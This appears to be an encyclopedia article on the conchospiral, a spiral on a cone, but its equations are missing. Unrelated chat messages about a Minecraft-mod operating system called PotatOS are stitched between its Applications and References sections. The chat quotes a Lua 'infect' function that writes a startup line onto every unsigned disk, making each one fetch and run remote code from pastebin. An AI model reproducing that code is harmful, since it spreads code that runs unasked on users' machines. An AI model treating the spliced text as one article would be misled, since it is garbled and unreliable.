Conchospiral

In mathematics, a conchospiral a specific type of three-dimensional spiral on the surface of a cone (a conical spiral), whose floor projection is a logarithmic spiral.

An example

Parameterization

In cylindrical coordinates, the conchospiral is described by the parametric equations:

The projection of a conchospiral on the plane is a logarithmic spiral. The parameter controls the opening angle of the projected spiral, while the parameter controls the slope of the cone on which the curve lies.

History

The name "conchospiral" was given to these curves by 19th-century German mineralogist Georg Amadeus Carl Friedrich Naumann, in his study of the shapes of sea shells.[1]

Applications

The conchospiral has been used in the design for radio antennas. In this application, it has the advantage of producing a radio beam in a single direction, towards the apex of the cone.[2][3]

gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.

References
  1. Blake, John Frederick (1882), A Monograph of the British Fossil Cephalopoda, Part 1, J. Van Voorst, p. 23
  2. Burberry, R. A. (1992), "8.2.4 Conical spiral", VHF and UHF Antennas, Institution of Electrical Engineers Electromagnetic Waves Series, 35, IET, p. 142, ISBN 9780863412691
  3. Balanis, Constantine A. (2015), "11.3.2 Conical spiral", Antenna Theory: Analysis and Design, John Wiley & Sons, p. 598, ISBN 9781119178989
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